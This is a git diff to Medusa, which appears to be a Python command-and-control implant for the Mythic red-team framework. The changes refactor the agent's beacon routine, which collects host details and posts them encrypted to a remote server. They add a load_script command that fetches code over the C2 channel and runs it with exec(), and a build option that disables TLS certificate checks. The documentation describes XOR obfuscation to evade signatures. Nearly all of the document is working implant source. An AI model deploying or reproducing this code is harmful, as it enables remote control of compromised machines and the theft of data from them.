diff --git a/Payload_Type/medusa/agent_code/base_agent/base_agent.py2 b/Payload_Type/medusa/agent_code/base_agent/base_agent.py2 index 05d63cb..9afd747 100644 --- a/Payload_Type/medusa/agent_code/base_agent/base_agent.py2 +++ b/Payload_Type/medusa/agent_code/base_agent/base_agent.py2 @@ -11,29 +11,12 @@ CRYPTO_HERE if platform.mac_ver()[0]: return "macOS "+platform.mac_ver()[0] else: return platform.system() + " " + platform.release() - def getHostname(self): - return socket.gethostname() - def getUsername(self): try: return os.getlogin() except: pass if "USER" in os.environ.keys(): return os.environ["USER"] elif "LOGNAME" in os.environ.keys(): return os.environ["LOGNAME"] - def getDomain(self): - return socket.getfqdn() - - def getArch(self): - is_64bits = sys.maxsize > 2**32 - if is_64bits: return "x64" - else: return "x86" - - def getLocalIp(self): - return socket.gethostbyname(socket.gethostname()) - - def getPid(self): - return os.getpid() - def formatMessage(self, data): return base64.b64encode(self.agent_config["UUID"].encode() + self.encrypt(json.dumps(data).encode())) @@ -41,10 +24,10 @@ CRYPTO_HERE return json.loads(data.replace(self.agent_config["UUID"],"")) def postMessageAndRetrieveResponse(self, data): - return self.formatResponse(self.decrypt(self.postRequest(self.formatMessage(data)))) + return self.formatResponse(self.decrypt(self.makeRequest(self.formatMessage(data),'POST'))) def getMessageAndRetrieveResponse(self, data): - return self.formatResponse(self.decrypt(self.getRequest(self.formatMessage(data)))) + return self.formatResponse(self.decrypt(self.makeRequest(self.formatMessage(data)))) def sendTaskOutputUpdate(self, task_id, output): responses = [{ "task_id": task_id, "user_output": output, "completed": False }] @@ -71,9 +54,7 @@ CRYPTO_HERE if resp["task_id"] == t["task_id"] \ and resp["status"] == "success"][0] self.taskings.pop(self.taskings.index(task_index)) - except: - pass - + except: pass def processTask(self, task): try: @@ -127,67 +108,35 @@ CRYPTO_HERE def checkIn(self): data = { "action": "checkin", - "ip": self.getLocalIp(), + "ip": socket.gethostbyname(socket.gethostname()), "os": self.getOSVersion(), "user": self.getUsername(), - "host": self.getHostname(), - "domain:": self.getDomain(), - "pid": self.getPid(), + "host": socket.gethostname(), + "domain:": socket.getfqdn(), + "pid": os.getpid(), "uuid": self.agent_config["PayloadUUID"], - "architecture": self.getArch(), + "architecture": "x64" if sys.maxsize > 2**32 else "x86", "encryption_key": self.agent_config["enc_key"]["enc_key"], "decryption_key": self.agent_config["enc_key"]["dec_key"] } encoded_data = base64.b64encode(self.agent_config["PayloadUUID"].encode() + self.encrypt(json.dumps(data).encode())) - decoded_data = self.decrypt(self.postRequest(encoded_data)) + decoded_data = self.decrypt(self.makeRequest(encoded_data, 'POST')) if("status" in decoded_data): UUID = json.loads(decoded_data.replace(self.agent_config["PayloadUUID"],""))["id"] self.agent_config["UUID"] = UUID return True - else: - return False + else: return False - def getRequest(self, data): + def makeRequest(self, data, method='GET'): hdrs = {} for header in self.agent_config["Headers"]: hdrs[header["name"]] = header["value"] - req = urllib2.Request(self.agent_config["Server"] + self.agent_config["GetURI"] + "?" + self.agent_config["GetURI"] + "=" + data.decode(), None, hdrs) - - gcontext = ssl.SSLContext(ssl.PROTOCOL_TLS) - gcontext.verify_mode = ssl.CERT_NONE - - if self.agent_config["ProxyHost"] and self.agent_config["ProxyPort"]: - tls = "https" if self.agent_config["ProxyHost"][0:5] == "https" else "http" - handler = urllib2.HTTPSHandler if tls else urllib2.HTTPHandler - if self.agent_config["ProxyUser"] and self.agent_config["ProxyPass"]: - proxy = urllib2.ProxyHandler({ - "{}".format(tls): '{}://{}:{}@{}:{}'.format(tls, self.agent_config["ProxyUser"], self.agent_config["ProxyPass"], \ - self.agent_config["ProxyHost"].replace(tls+"://", ""), self.agent_config["ProxyPort"]) - }) - auth = urllib2.HTTPBasicAuthHandler() - opener = urllib2.build_opener(proxy, auth, handler) - else: - proxy = urllib2.ProxyHandler({ - "{}".format(tls): '{}://{}:{}'.format(tls, self.agent_config["ProxyHost"].replace(tls+"://", ""), self.agent_config["ProxyPort"]) - }) - opener = urllib2.build_opener(proxy, handler) - - urllib2.install_opener(opener) - - try: - return base64.b64decode(urllib2.urlopen(req).read()).decode() - except: - return "" - - def postRequest(self, data): - hdrs = {} - for header in self.agent_config["Headers"]: - hdrs[header["name"]] = header["value"] - req = urllib2.Request(self.agent_config["Server"] + self.agent_config["PostURI"], data, hdrs) - - gcontext = ssl.SSLContext(ssl.PROTOCOL_TLS) - gcontext.verify_mode = ssl.CERT_NONE - + + if method == 'GET': + req = urllib2.Request(self.agent_config["Server"] + self.agent_config["GetURI"] + "?" + self.agent_config["GetURI"] + "=" + data.decode(), None, hdrs) + else: + req = urllib2.Request(self.agent_config["Server"] + self.agent_config["PostURI"], data, hdrs) + #CERTSKIP if self.agent_config["ProxyHost"] and self.agent_config["ProxyPort"]: tls = "https" if self.agent_config["ProxyHost"][0:5] == "https" else "http" handler = urllib2.HTTPSHandler if tls else urllib2.HTTPHandler @@ -205,19 +154,16 @@ CRYPTO_HERE opener = urllib2.build_opener(proxy, handler) urllib2.install_opener(opener) try: - return base64.b64decode(urllib2.urlopen(req).read()) - except: - return "" + out = base64.b64decode(urllib2.urlopen(req).read()) + return out.decode() if method == 'GET' else out + except: return "" def passedKilldate(self): kd_list = [ int(x) for x in self.agent_config["KillDate"].split("-")] kd = datetime(kd_list[0], kd_list[1], kd_list[2]) now = datetime.now() - - if now >= kd: - return True - else: - return False + if now >= kd: return True + else: return False def agentSleep(self): j = 0 diff --git a/Payload_Type/medusa/agent_code/base_agent/base_agent.py3 b/Payload_Type/medusa/agent_code/base_agent/base_agent.py3 index 5612922..8c73007 100644 --- a/Payload_Type/medusa/agent_code/base_agent/base_agent.py3 +++ b/Payload_Type/medusa/agent_code/base_agent/base_agent.py3 @@ -11,29 +11,12 @@ CRYPTO_HERE if platform.mac_ver()[0]: return "macOS "+platform.mac_ver()[0] else: return platform.system() + " " + platform.release() - def getHostname(self): - return socket.gethostname() - def getUsername(self): try: return os.getlogin() except: pass if "USER" in os.environ.keys(): return os.environ["USER"] elif "LOGNAME" in os.environ.keys(): return os.environ["LOGNAME"] - def getDomain(self): - return socket.getfqdn() - - def getArch(self): - is_64bits = sys.maxsize > 2**32 - if is_64bits: return "x64" - else: return "x86" - - def getLocalIp(self): - return socket.gethostbyname(socket.gethostname()) - - def getPid(self): - return os.getpid() - def formatMessage(self, data): return base64.b64encode(self.agent_config["UUID"].encode() + self.encrypt(json.dumps(data).encode())) @@ -41,10 +24,10 @@ CRYPTO_HERE return json.loads(data.replace(self.agent_config["UUID"],"")) def postMessageAndRetrieveResponse(self, data): - return self.formatResponse(self.decrypt(self.postRequest(self.formatMessage(data)))) + return self.formatResponse(self.decrypt(self.makeRequest(self.formatMessage(data),'POST'))) def getMessageAndRetrieveResponse(self, data): - return self.formatResponse(self.decrypt(self.getRequest(self.formatMessage(data)))) + return self.formatResponse(self.decrypt(self.makeRequest(self.formatMessage(data)))) def sendTaskOutputUpdate(self, task_id, output): responses = [{ "task_id": task_id, "user_output": output, "completed": False }] @@ -71,8 +54,7 @@ CRYPTO_HERE if resp["task_id"] == t["task_id"] \ and resp["status"] == "success"][0] self.taskings.pop(self.taskings.index(task_index)) - except: - pass + except: pass def processTask(self, task): try: @@ -123,38 +105,37 @@ CRYPTO_HERE if "socks" in tasking_data: for packet in tasking_data["socks"]: self.socks_in.put(packet) - def checkIn(self): data = { "action": "checkin", - "ip": self.getLocalIp(), + "ip": socket.gethostbyname(socket.gethostname()), "os": self.getOSVersion(), "user": self.getUsername(), - "host": self.getHostname(), - "domain:": self.getDomain(), - "pid": self.getPid(), + "host": socket.gethostname(), + "domain:": socket.getfqdn(), + "pid": os.getpid(), "uuid": self.agent_config["PayloadUUID"], - "architecture": self.getArch(), + "architecture": "x64" if sys.maxsize > 2**32 else "x86", "encryption_key": self.agent_config["enc_key"]["enc_key"], "decryption_key": self.agent_config["enc_key"]["dec_key"] } encoded_data = base64.b64encode(self.agent_config["PayloadUUID"].encode() + self.encrypt(json.dumps(data).encode())) - decoded_data = self.decrypt(self.postRequest(encoded_data)) + decoded_data = self.decrypt(self.makeRequest(encoded_data, 'POST')) if("status" in decoded_data): UUID = json.loads(decoded_data.replace(self.agent_config["PayloadUUID"],""))["id"] self.agent_config["UUID"] = UUID return True else: return False - def getRequest(self, data): + def makeRequest(self, data, method='GET'): hdrs = {} for header in self.agent_config["Headers"]: hdrs[header["name"]] = header["value"] - req = urllib.request.Request(self.agent_config["Server"] + self.agent_config["GetURI"] + "?" + self.agent_config["GetURI"] + "=" + data.decode(), hdrs) - - gcontext = ssl.SSLContext(ssl.PROTOCOL_TLS) - gcontext.verify_mode = ssl.CERT_NONE - + if method == 'GET': + req = urllib.request.Request(self.agent_config["Server"] + self.agent_config["GetURI"] + "?" + self.agent_config["GetURI"] + "=" + data.decode(), None, hdrs) + else: + req = urllib.request.Request(self.agent_config["Server"] + self.agent_config["PostURI"], data, hdrs) + #CERTSKIP if self.agent_config["ProxyHost"] and self.agent_config["ProxyPort"]: tls = "https" if self.agent_config["ProxyHost"][0:5] == "https" else "http" handler = urllib.request.HTTPSHandler if tls else urllib.request.HTTPHandler @@ -170,47 +151,12 @@ CRYPTO_HERE "{}".format(tls): '{}://{}:{}'.format(tls, self.agent_config["ProxyHost"].replace(tls+"://", ""), self.agent_config["ProxyPort"]) }) opener = urllib.request.build_opener(proxy, handler) - urllib.request.install_opener(opener) - - try: - with urllib.request.urlopen(req) as response: - return base64.b64decode(response.read()).decode() - except: - return "" - - def postRequest(self, data): - hdrs = {} - for header in self.agent_config["Headers"]: - hdrs[header["name"]] = header["value"] - req = urllib.request.Request(self.agent_config["Server"] + self.agent_config["PostURI"], data, hdrs) - - gcontext = ssl.SSLContext(ssl.PROTOCOL_TLS) - gcontext.verify_mode = ssl.CERT_NONE - - if self.agent_config["ProxyHost"] and self.agent_config["ProxyPort"]: - tls = "https" if self.agent_config["ProxyHost"][0:5] == "https" else "http" - handler = urllib.request.HTTPSHandler if tls else urllib.request.HTTPHandler - if self.agent_config["ProxyUser"] and self.agent_config["ProxyPass"]: - proxy = urllib.request.ProxyHandler({ - "{}".format(tls): '{}://{}:{}@{}:{}'.format(tls, self.agent_config["ProxyUser"], self.agent_config["ProxyPass"], \ - self.agent_config["ProxyHost"].replace(tls+"://", ""), self.agent_config["ProxyPort"]) - }) - auth = urllib.request.HTTPBasicAuthHandler() - opener = urllib.request.build_opener(proxy, auth, handler) - else: - proxy = urllib.request.ProxyHandler({ - "{}".format(tls): '{}://{}:{}'.format(tls, self.agent_config["ProxyHost"].replace(tls+"://", ""), self.agent_config["ProxyPort"]) - }) - opener = urllib.request.build_opener(proxy, handler) - - urllib.request.install_opener(opener) - try: with urllib.request.urlopen(req) as response: - return base64.b64decode(response.read()) - except: - return "" + out = base64.b64decode(response.read()) + return out.decode() if method == 'GET' else out + except: return "" def passedKilldate(self): kd_list = [ int(x) for x in self.agent_config["KillDate"].split("-")] diff --git a/Payload_Type/medusa/agent_code/base_agent/crypto_lib.py2 b/Payload_Type/medusa/agent_code/base_agent/crypto_lib.py2 index e8bdc24..7a488f4 100644 --- a/Payload_Type/medusa/agent_code/base_agent/crypto_lib.py2 +++ b/Payload_Type/medusa/agent_code/base_agent/crypto_lib.py2 @@ -37,10 +37,10 @@ class medusa: backend = default_backend() key = base64.b64decode(self.agent_config["enc_key"]["dec_key"]) - uuid = data[:36] # uuid prefix - iv = data[36:52] # trim uuid - ct = data[52:-32] # ciphertext been uuid+iv and hmac - received_hmac = data[-32:] #hmac + uuid = data[:36] + iv = data[36:52] + ct = data[52:-32] + received_hmac = data[-32:] h = hmac.HMAC(key, hashes.SHA256(), backend) h.update(iv + ct) diff --git a/Payload_Type/medusa/agent_code/base_agent/crypto_lib.py3 b/Payload_Type/medusa/agent_code/base_agent/crypto_lib.py3 index e8bdc24..7a488f4 100644 --- a/Payload_Type/medusa/agent_code/base_agent/crypto_lib.py3 +++ b/Payload_Type/medusa/agent_code/base_agent/crypto_lib.py3 @@ -37,10 +37,10 @@ class medusa: backend = default_backend() key = base64.b64decode(self.agent_config["enc_key"]["dec_key"]) - uuid = data[:36] # uuid prefix - iv = data[36:52] # trim uuid - ct = data[52:-32] # ciphertext been uuid+iv and hmac - received_hmac = data[-32:] #hmac + uuid = data[:36] + iv = data[36:52] + ct = data[52:-32] + received_hmac = data[-32:] h = hmac.HMAC(key, hashes.SHA256(), backend) h.update(iv + ct) diff --git a/Payload_Type/medusa/agent_code/load_script.py b/Payload_Type/medusa/agent_code/load_script.py new file mode 100644 index 0000000..b7e4681 --- /dev/null +++ b/Payload_Type/medusa/agent_code/load_script.py @@ -0,0 +1,18 @@ + def load_script(self, task_id, file): + total_chunks = 1 + chunk_num = 0 + cmd_code = "" + while (chunk_num < total_chunks): + if [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]: + return "Job stopped." + data = { "action": "post_response", "responses": [ + { "upload": { "chunk_size": CHUNK_SIZE, "file_id": file, "chunk_num": chunk_num }, "task_id": task_id } + ]} + response = self.postMessageAndRetrieveResponse(data) + chunk = response["responses"][0] + chunk_num+=1 + total_chunks = chunk["total_chunks"] + cmd_code += base64.b64decode(chunk["chunk_data"]).decode() + + if cmd_code: exec(cmd_code) + else: return "Failed to load script" diff --git a/Payload_Type/medusa/agent_code/ls.py2 b/Payload_Type/medusa/agent_code/ls.py2 index e1eb392..6382e9e 100644 --- a/Payload_Type/medusa/agent_code/ls.py2 +++ b/Payload_Type/medusa/agent_code/ls.py2 @@ -6,7 +6,7 @@ target_is_file = os.path.isfile(file_path) target_name = os.path.basename(file_path.rstrip(os.sep)) file_browser = { - "host": self.getHostname(), + "host": socket.gethostname(), "is_file": target_is_file, "permissions": {"octal": oct(file_details.st_mode)[-3:]}, "name": target_name if target_name != "." \ diff --git a/Payload_Type/medusa/agent_code/ls.py3 b/Payload_Type/medusa/agent_code/ls.py3 index 314ffca..86af708 100644 --- a/Payload_Type/medusa/agent_code/ls.py3 +++ b/Payload_Type/medusa/agent_code/ls.py3 @@ -6,7 +6,7 @@ target_is_file = os.path.isfile(file_path) target_name = os.path.basename(file_path.rstrip(os.sep)) file_browser = { - "host": self.getHostname(), + "host": socket.gethostname(), "is_file": target_is_file, "permissions": {"octal": oct(file_details.st_mode)[-3:]}, "name": target_name if target_name != "." \ diff --git a/Payload_Type/medusa/agent_code/watch_dir.py b/Payload_Type/medusa/agent_code/watch_dir.py index 3f5d8d4..cac7bc4 100644 --- a/Payload_Type/medusa/agent_code/watch_dir.py +++ b/Payload_Type/medusa/agent_code/watch_dir.py @@ -55,6 +55,8 @@ def diffFolder(file_path, print_out=True): if not os.path.isdir(file_path): return "[!] Path must be a valid directory" + elif not os.access(file_path, os.R_OK): + return "[!] Path not accessible" else: self.sendTaskOutputUpdate(task_id, "[*] Starting directory watch for {}".format(path)) diffFolder(file_path, False) diff --git a/Payload_Type/medusa/mythic/agent_functions/builder.py b/Payload_Type/medusa/mythic/agent_functions/builder.py index 50bfb58..653ae91 100644 --- a/Payload_Type/medusa/mythic/agent_functions/builder.py +++ b/Payload_Type/medusa/mythic/agent_functions/builder.py @@ -114,7 +114,11 @@ async def build(self) -> BuildResponse: if self.get_parameter("https_check") == "No": base_code = base_code.replace("urlopen(req)", "urlopen(req, context=gcontext)") - + base_code = base_code.replace("#CERTSKIP", \ + "gcontext = ssl.SSLContext(ssl.PROTOCOL_TLS)\n gcontext.verify_mode = ssl.CERT_NONE") + else: + base_code = base_code.replace("#CERTSKIP", "") + if build_msg != "": resp.build_stderr = build_msg resp.set_status(BuildStatus.Error) diff --git a/Payload_Type/medusa/mythic/agent_functions/load_script.py b/Payload_Type/medusa/mythic/agent_functions/load_script.py new file mode 100644 index 0000000..9f5359c --- /dev/null +++ b/Payload_Type/medusa/mythic/agent_functions/load_script.py @@ -0,0 +1,54 @@ +from mythic_payloadtype_container.MythicCommandBase import * +from mythic_payloadtype_container.MythicRPC import * +import json +import sys +import base64 + +class LoadScriptArguments(TaskArguments): + def __init__(self, command_line): + super().__init__(command_line) + self.args = { + "file": CommandParameter( + name="file", type=ParameterType.File, description="script to load" + ) + } + + async def parse_arguments(self): + if len(self.command_line) > 0: + if self.command_line[0] == "{": + self.load_args_from_json_string(self.command_line) + else: + raise ValueError("Missing JSON arguments") + else: + raise ValueError("Missing arguments") + + +class LoadScriptCommand(CommandBase): + cmd = "load_script" + needs_admin = False + help_cmd = "load_script" + description = ( + "Load a Python script into the agent. Functions in the script can be added to the agent class with setattr() and called with the eval_code function if needed" + ) + version = 1 + author = "@ajpc500" + attackmapping = [] + argument_class = LoadScriptArguments + attributes = CommandAttributes( + supported_python_versions=["Python 2.7", "Python 3.8"], + supported_os=[SupportedOS.MacOS, SupportedOS.Windows, SupportedOS.Linux ], + ) + + async def create_tasking(self, task: MythicTask) -> MythicTask: + file_resp = await MythicRPC().execute("create_file", task_id=task.id, + file=base64.b64encode(task.args.get_arg("file")).decode(), + delete_after_fetch=True, + ) + if file_resp.status == MythicStatus.Success: + task.args.add_arg("file", file_resp.response["agent_file_id"]) + else: + raise Exception("Failed to register file: " + file_resp.error) + return task + + async def process_response(self, response: AgentResponse): + pass diff --git a/Payload_Type/medusa/mythic/agent_functions/watch_dir.py b/Payload_Type/medusa/mythic/agent_functions/watch_dir.py index 40a4861..54109c4 100644 --- a/Payload_Type/medusa/mythic/agent_functions/watch_dir.py +++ b/Payload_Type/medusa/mythic/agent_functions/watch_dir.py @@ -36,7 +36,7 @@ async def parse_arguments(self): class WatchDirCommand(CommandBase): cmd = "watch_dir" needs_admin = False - help_cmd = "lwatch_dir [/path/to/file]" + help_cmd = "watch_dir [/path/to/file]" description = "Poll a directory for changes" version = 1 author = "@ajpc500" diff --git a/documentation-payload/medusa/_index.md b/documentation-payload/medusa/_index.md index 1758c45..b7f6020 100644 --- a/documentation-payload/medusa/_index.md +++ b/documentation-payload/medusa/_index.md @@ -54,6 +54,9 @@ Medusa agents can be built using either a manual crypto implementation or using Finally, the plaintext Medusa script can be encrypted via XOR with a randomly-generated key, before being Base64 encoded. This blob is then wrapped with an unpacker and put in a `exec()` function to ultimately run the Medusa agent. This is designed to make the agent less signaturable when on-disk. See the OPSEC section for more details. +#### Verify HTTPS Certificate + +By default, the web request libraries used in Medusa will fail when handling a self-signed certificate for HTTPS. This function introduces code to skip cert verification, so C2 can be established. ### Important Notes diff --git a/documentation-payload/medusa/commands/load_script.md b/documentation-payload/medusa/commands/load_script.md new file mode 100644 index 0000000..61334e6 --- /dev/null +++ b/documentation-payload/medusa/commands/load_script.md @@ -0,0 +1,75 @@ ++++ +title = "load_script" +chapter = false +weight = 100 +hidden = false ++++ + +## Summary + +This loads a new script into memory via the C2 channel. It can be used in combination with the `eval_code` function, and `setattr()` to dynamically add capability outside of Medusa's existing functions. + +- Python Versions Supported: 2.7, 3.8 +- Needs Admin: False +- Version: 1 +- Author: @ajpc500 + +### Arguments + +#### file + +- Description: script file to load into agent +- Required Value: True +- Default Value: None + +## Usage + +``` +load_script +``` + +## Detailed Summary + +The python script is downloaded and executed using the Python `exec()` function. Notably, this implementation implements chunking for this function to facilitate large scripts being loaded. + +Depending on the script content being interpreted, you can include functions that may be called later, using the `setattr()` function and Medusa's `eval_code` function. + +Firstly, the function itself: + +```Python + def load_script(self, task_id, file): + total_chunks = 1 + chunk_num = 0 + cmd_code = "" + while (chunk_num < total_chunks): + if [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]: + return "Job stopped." + data = { "action": "post_response", "responses": [ + { "upload": { "chunk_size": CHUNK_SIZE, "file_id": file, "chunk_num": chunk_num }, "task_id": task_id } + ]} + response = self.postMessageAndRetrieveResponse(data) + chunk = response["responses"][0] + chunk_num+=1 + total_chunks = chunk["total_chunks"] + cmd_code += base64.b64decode(chunk["chunk_data"]).decode() + + if cmd_code: exec(cmd_code) + else: return "Failed to load script" + +``` + +If we pass a script like the one below to Medusa, it'll print `hello` immediately. Then, as we've registered our `hello_again` function, we can call it again with the Medusa command: `eval_code self.hello_again()`. This will then execute the second print statement, to display `hello again`. A very simple example, but hopefully one that articulates what's possible here. + +``` +print("hello") + +def hello_again(self): + print("hello again") + +setattr(medusa, "hello_again", hello_again) +``` + +{{% notice warning %}} + Script content must be compatible with the version of Python the agent is running with! +{{% /notice %}} + \ No newline at end of file diff --git a/documentation-payload/medusa/commands/ls.md b/documentation-payload/medusa/commands/ls.md index e674cfd..bf8dac5 100644 --- a/documentation-payload/medusa/commands/ls.md +++ b/documentation-payload/medusa/commands/ls.md @@ -46,7 +46,7 @@ Python 2.7: target_is_file = os.path.isfile(file_path) target_name = os.path.basename(file_path.rstrip(os.sep)) file_browser = { - "host": self.getHostname(), + "host": socket.gethostname(), "is_file": target_is_file, "permissions": {"octal": oct(file_details.st_mode)[-3:]}, "name": target_name if target_name != "." \ @@ -90,7 +90,7 @@ Python 3.8 target_is_file = os.path.isfile(file_path) target_name = os.path.basename(file_path.rstrip(os.sep)) file_browser = { - "host": self.getHostname(), + "host": socket.gethostname(), "is_file": target_is_file, "permissions": {"octal": oct(file_details.st_mode)[-3:]}, "name": target_name if target_name != "." \